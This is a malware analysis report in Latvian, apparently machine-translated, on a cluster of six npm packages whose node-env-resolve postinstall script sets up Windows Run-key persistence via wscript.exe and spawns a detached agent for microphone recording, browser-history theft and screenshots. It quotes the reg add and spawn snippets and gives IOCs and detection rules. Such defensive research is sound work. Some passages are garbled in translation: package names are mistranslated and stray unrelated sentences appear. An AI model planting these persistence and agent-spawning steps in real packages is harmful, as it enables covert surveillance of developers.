TL; DR
Laikā no 2026. gada 1. aprīļa līdz 3. maijam viens npm izdevējs user0001, reģistrēts ar neverificētu Gmail adresi tanvisoul9@gmail.com, klusi virzīja sešas paketes ar apzināti neizteiksmīgiem, infrastruktūrai raksturīgiem nosaukumiem: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, un node-env-resolve.
Divas jaunākās versijas node-env-resolve, 1.0.7 un 1.0.8, tika atzīmētas ar Xygeni ļaunprogrammatūras agrīnās brīdināšanas (MEW) sistēmu 2. maijā un apstiprinātas kā ļaunprātīgas 3. maijā.
Implants ir neparasts ar to, kas tas nav: nav Telegram botu, nav OAST atzvanīšanas funkciju, nav aplaupīšanaun instalēšanas laikā netiek mēģināts iegūt AWS akreditācijas datus. Tā vietā, postinstall.js izveido Windows sāknēšanas saglabāšanas ierakstu, izmantojot HKCU Run atslēgu, kas palaiž wscript.exe pret VBS fragmentu. Pēc tam tas ģenerē atdalītu Node.js aģentu, kas apvieno moduļus mikrofona uztveršanai, pārlūka vēstures zādzībai, ekrānuzņēmumu veidošanai un peles/klaviatūras simulācijai.
Mēs šo klasteri saucam par DevTap, pēc komplekta palaišanas tas darbojas izstrādātāja datorā.
Rakstīšanas brīdī visas sešas pakotnes bija pieejamas vietnē npm. Mēs tās esam iesnieguši reģistra ļaunprātīgas izmantošanas kanālā. Aizstāvjiem ir jāatsauc visas instalācijas no izdevēja, gaidot noņemšanu.
Klasteris: seši iepakojumi, viens izdevējs
Izdevēja konts user0001 nav verificēts. Tam nav SCM verifikācija, nav ar domēnu saistītu e-pastu un nav iepriekšējas vēstures. Gmail lietotājs tanvisoul9 neparādās nevienā citā npm izdevēja ierakstā, ko mums izdevās atrast.
Visām sešām pakotnēm ir norādīts viens un tas pats uzturētājs, tās tika publicētas no viena konta un tām ir viens un tas pats saturs. package.json standarta. Nav tāda repository, Nē homepage, un nē description garāks par vienu rindu.
Nosaukumu stratēģija ir interesantākā daļa. Atšķirībā no klasiskās atkarību apjukuma vai typosquat kampaņas, neviens no šiem nosaukumiem nav vērsts uz konkrētu augšupējo bibliotēku. Tā vietā tie ir kalibrēti, lai pazustu reālā package.json or npm ls izeja.
| Pakete | Pirmais publicēts | Jaunākā versija | versijas | Loma klasterī |
|---|---|---|---|---|
| centrālā logera | 2026-04-01 12:46 UTC | 1.0.9 | 5, no 1.0.5 līdz 1.0.9 | Klastera “reģistrēšanas utilīta” vāks; agrākā publikācija |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Vispārīgs DOM palīga vāks |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Atdarina mezglu ieneses saimi |
| savienotāja aģents | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Vispārīgais nosaukums “aģents” |
| node-gyp-runtime | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Atdarina vietējo moduļu veidošanas rīkus |
| node-env-resolve | 2026-04-25 05:21 UTC | 1.0.9 | 10, no 1.0.0 līdz 1.0.9 | Aktīvs pilinātājs; pilns implants |
Vārdi, piemēram centralogger, node-fetch-lite, un node-gyp-runtime ir izstrādāti tā, lai koda pārskatīšanā tie izskatītos neapstrīdami. Tie izklausās pēc lietām, kas jau būtu projekta atkarību kokā.
Apvienojumā ar jaunu, nepārbaudītu izdevēju un trūkstošām repozitorija saitēm tie veido atpazīstamu modeli: dalībnieks reģistrā ievada viegli ietekmējamus nosaukumus un pēc tam ātri atkārto darbību ar svarīgo. Šajā gadījumā node-env-resolve astoņu dienu laikā saņēma desmit versijas.
Kas nonāk Windows izstrādātāja kastē
Ļaunprātīgā ķēde ieslēgta node-env-resolve:1.0.8 ir īss, tiešs un neparasti daudz funkciju npm RAT.
Pēcinstalēšana: noturība un atdalītais aģents
package.json deklarē vienu instalēšanas āķi:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js dara trīs lietas pēc kārtas.
Vispirms tas izveido instalācijas direktoriju ārpus npm koka. Ceļš tiek aprēķināts skriptā izpildes laikā kā INSTALL_DIRTad tas palaiž iekšējo execSync('npm install --production --silent ...') tā iekšpusē, lai izvilktu implanta izpildlaika atkarības. Tas ievieto aģentu diskā kaut kur rokasgrāmatā node_modules revīzija neatradīs.
Otrkārt, tas raksta VBS palaišanas programmu un reģistrē to sāknēšanas saglabāšanai:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe ir Windows Script Host, parakstīts Microsoft binārais fails, kas darbojas .vbs faili bez konsoles loga. Tas ir iepriekšcisTieši tāpēc tas ir iecienīts automātiskās palaišanas atteices gadījumā.
Ir arī atbilstība reg delete ceļš iekšpusē src/index.js, kas liecina, ka implants ir paredzēts tā, lai to varētu tīri izņemt pēc operatora komandas.
Treškārt, tas rada atdalītu bērnu procesu:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })Šeit svarīgas ir divas detaļas.
SERVER_URL tiek nolasīts no vides. Tā rezultātā C2 galapunktu var konfigurēt katram izvietojumam atsevišķi un tas nav iebūvēts pakotnē. Šī mazā, bet apzinātā izvēle novērš lielāko daļu statisko IOC pārbaužu.
Tāpat radītais bērns manto pilnu vecāku vidi. Tāpēc jebkurš NPM_TOKEN, AWS_*, GITHUB_TOKEN, vai SSH aģenta ligzda, kas instalēšanas laikā atrodas izstrādātāja čaulā, tiek pārvietota uz ilgstoši darbojošās aģenta atmiņu.
Ko aģents nosūta kopā ar sūtījumu
Komplektā src/ koks ietver trīs moduļus, kuru nosaukumi vien jau pasaka stāstu: audioCapture.js, browserHistory.js, un systemInfo.js.
Izpildlaika atkarību saraksts, kas atrisināts pakāpeniskās izstrādes laikā npm install, apstiprina tos.
Šī pieeja haotisku incidentu pārvērš kontrolētā reakcijā.
Tā vietā, lai reaģētu akli, komandas darbojas ar skaidra prioritāšu noteikšana un ātra problēmu novēršana.
| Atkarība | Kam tas paredzēts šajā kontekstā |
|---|---|
| ekrānuzņēmums-darbvirsma | Periodiska ekrāna uzņemšana |
| @nut-tree-fork/nut-js | Peles un tastatūras automatizācija/ievades simulācija |
| labāks sqlite3 | Tieša Chrome, Edge un Firefox vēstures SQLite datubāzu lasīšana |
| adm-zip | Savākto artefaktu grupēšana pirms eksfiltrācijas |
| ass | Ekrānuzņēmumu un attēlu artefaktu izmēru maiņa/saspiešana |
| socket.io-client | Pastāvīgs divvirzienu C2 kanāls |
| mezgla-mašīnas-id | Stabils pirkstu nospiedums katram saimniekdatoram upuru izsekošanai |
systemInfo.js zvani os.networkInterfaces() papildu pirkstu nospiedumu noņemšanai pirms pirmās bākas.
Kāpēc audio uztveršana ir izcilākais signāls
Lielākā daļa npm RAT, kurus mēs MEW trializējam, apstājas pie slepenas zādzības instalēšanas laikā. Viņi lasa. ~/.npmrc, lasiet ~/.aws/credentials, nokasīt process.env, POST uz webhook un izeja. Tas atbilst "smash-and-grab" ekonomiskajam modelim. Akreditācijas datiem ir īss pussabrukšanas periods, un uzbrucējam ir ātri jāgūst peļņa.
node-env-resolve ir atšķirīga pēc formas.
Noturība ir iestatīta tā, lai tā pārdzīvotu atkārtotu palaišanu. Aģents darbojas atsevišķi un ilgstoši zem wscript.exeKomplekts, ko tas satur, ir paredzēts lietošanai izstrādātāja datorā, nevis paņemšanai un aiziešanai: mikrofona ierakstītājs, tastatūras/peles draiveris, pilna pārlūkošanas vēstures ierakstīšana, ekrāna uzņemšana un interaktīvs Socket.IO kanāls atpakaļ uz konfigurējamu C2.
Mikrofonu uztveršana ir jo īpaši robeža, ko šī kampaņa pārkāpj, un ko lielākā daļa npm ļaunprogrammatūru nepārkāpj.
Izstrādātāja darbstacija arvien biežāk ir arī darbstacija, kurā izstrādātāji piedalās stand-up referātu sesijās, klientu zvanus, dizaina diskusijas un dežūru tiltus. Implants, kas ieraksta mikrofonu, patiesībā nav paredzēts izstrādātāja npm tokenam, bet gan tam, ko izstrādātājs saka klēpjdatora priekšā.
Šī iespēju kopa, kā arī informācijas slēpšanas trūkums un jebkādas uzkrītošas instalēšanas laika eksfiltrācijas neesamība, drīzāk ir iepriekšēja pozicionēšana mērķtiecīgai piekļuvei, nevis oportūnistiskai akreditācijas datu zādzībai.
Mēs neapgalvojam vainu tikai šajā gadījumā. Mēs ņemam vērā darbības profilu.

Astoņu dienu iterācijas ritms ieslēgts node-env-resolve ir operacionāli visnozīmīgākā detaļa laika skalā.
Šī nav “aktivizē un aizmirsti” tipa drop. Izdevējs aktīvi uztur dropperi, kas parasti nozīmē vienu no divām lietām. Vai nu viņi to pielāgo testa vidēm pirms plašākas ieviešanas, vai arī viņiem jau ir instalēšanas telemetrija, un viņi uz to reaģē.
Pārējās piecas pakotnes pēc sākotnējās publicēšanas faktiski nepiedzīvoja zudumu. Tas atbilst atbalsta klastera modelim “izveidot vienreiz, atstāt nosaukto”, kamēr inženierijas darbs ir vērsts uz pakotni, kas veic darbu.
Atribūcija: Nelielas norādes, nav stingra sprieduma
valsts OSINT Signāli ir vāji, un mēs tos neizstiepsim. Kas ir novērojams:
Gmail identifikators tanvisoul9 daļēji atgādina Dienvidāzijas vārdu “Tanvi”. Tas ir vājš signāls. Gmail lietotājvārdi nav identitāte, un beigu soul9 ir vispārīgs. Nav droši secināt ģeogrāfiju tikai no e-pasta lokālās adreses daļas.
Koda stils ir neievērojams Node.js: standard bibliotēkas zvani, piemēram, os, child_process, spawn, un reg addNav ne obfuskācijas, ne virkņu rotācijas, ne atkļūdošanas novēršanas loģikas. Autors ir apmierināts ar Windows reģistra primitīviem un atdalītu bērnu procesu orķestrēšanu, taču nešķiet, ka viņš meklētu neuzkrītošākus tirdzniecības paņēmienus, ko viņi varētu reāli izmantot.
Atkarības ir pilnīgi standarta un labi zināmas: screenshot-desktop, nut-js, better-sqlite3, un socket.io-clientNav pielāgota protokola, nav no nulles izstrādāta C2 steka un nav jauna noturības trika, kas pārsniegtu mācību grāmatas sniegto. HKCU palaišanas taustiņšŠis ir kompetents integrators, nevis rīku autors.
Publicētajos artefaktos mēs neatradām virknes, kas nav angļu valodā, iegultus komentārus, lokalizācijas datus vai kompilatora izvades laika joslas pirkstu nospiedumus.
Mēs pārbaudījām koda pārklāšanos ar iepriekšējām kampaņām, kuras jau izsekojam, tostarp Šajs Huluds, Owlivion, Buildkite un nesen notikušais heibai / claude-code-best Anthropic-CLI klonu saime. Mēs neatradām nevienu: ne koplietotus C2 modeļus, ne koplietotus failu izkārtojumus, ne koplietotas idiomas.
Ko mēs neteiktu: ka šī ir valstiska organizācija, zināma grupa vai ģeogrāfiski saistīta ar kādu konkrētu valsti.
Darbības profils atbilst nelielai, vidēji kvalificētai komandai, kas veic izstrādātāju darbstaciju uzraudzību. Visticamāk, finansiāli motivēts ir piekļuves izmantošana pakārtotā procesā, bet, iespējams, arī izlūkošana kā pakalpojums atsevišķam pircējam.
Divi netieši punkti to apstiprina: uzmanības piesaistīšanas eksfiltrācijas mehāniku, piemēram, Telegram robotu, novēršana, kas ātri sadedzinātu klasteri, oastify.comvai canarytokens, un apzināti neizteiksmīgie pakotņu nosaukumi, kas dod priekšroku klusām, garastes instalācijām, nevis īslaicīgam liela apjoma pieaugumam.
Kompromitācijas un atklāšanas indikatori
| Pakotnes un izdevējs | |
|---|---|
| Lauks | Vērtība |
| npm izdevējs | user0001 |
| Izdevēja e-pasts | tanvisoul9@gmail.com, nepārbaudīts |
| Paketes | centralogger, dom-utils-lite, node-fetch-lite, savienotāja aģents, node-gyp-runtime, node-env-resolve |
| Apstiprināts ļaunprātīgs | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Uzņēmēja artefakti | |
|---|---|
| Veids | Vērtība |
| Noturības atslēga | HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| Noturības vērtība | Mainīgā nosaukums; dati formā wscript.exe " \\ .vbs" |
| Uzstādiet āķi | postinstall: mezgls postinstall.js pakotnes manifestā |
| Implantu moduļi | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Izstādes direktorijs | INSTALL_DIR atrisināts ārpus projekta node_modules; atrašanās vietu iestatīja postinstall.js instalēšanas laikā |
| tīkls | |
|---|---|
| Veids | Vērtība |
| C2 transports | socket.io-client, pastāvīgs divvirzienu kanāls |
| C2 galapunkts | Tiek nodrošināts aģentam, izmantojot SERVER_URL vides mainīgo; nav stingri iekodēts publicētos artefaktos. |
Noteikšanas piezīmes
Divi noteikumi aptver šo saimi, neprasot C2 galapunktu.
Vispirms atzīmējiet pēcinstalēšanas skriptus, kas veic iekšēju npm install ceļā ārpus pakotnes paša direktorija. Jebkurš likumīgs iepriekš izveidots lejupielādētājs, piemēram, node-gyp pārbūvēti vai iepriekš izveidoti bināro failu lejupielādētāji, raksta pakotnes iekšienē vai platformāstandard kešatmiņas ceļi ar pārbaudītiem jaucējkodiem. Tas neraksta svaigi izveidotā failā. INSTALL_DIR citur diskā.
Otrkārt, atzīmējiet pēcinstalēšanas skriptus, kas rada problēmas reg add HKCU\…\Run ar wscript.exe kā palaišanas programma. Tas būtībā nekad nav likumīgi no npm pakotnes. Atzīmējiet un ievietojiet to karantīnā.
Trešā heiristika ir noderīga nākamās radniecīgās pakotnes noteikšanai pirms tās apstiprināšanas: jauns npm izdevējs bez SCM verifikācija, Gmail e-pasts, nē repository lauks, un vairāki īsi, vispārīgi, infrastruktūrai raksturīgi pakotņu nosaukumi, kas publicēti dažu dienu laikā viens pēc otra, pats par sevi ir pietiekami, lai attaisnotu manuālu pārskatīšanu.
Ziņots npm reģistram. Mēs atjaunināsim šo ierakstu, kad izdevēja konts tiks noņemts.






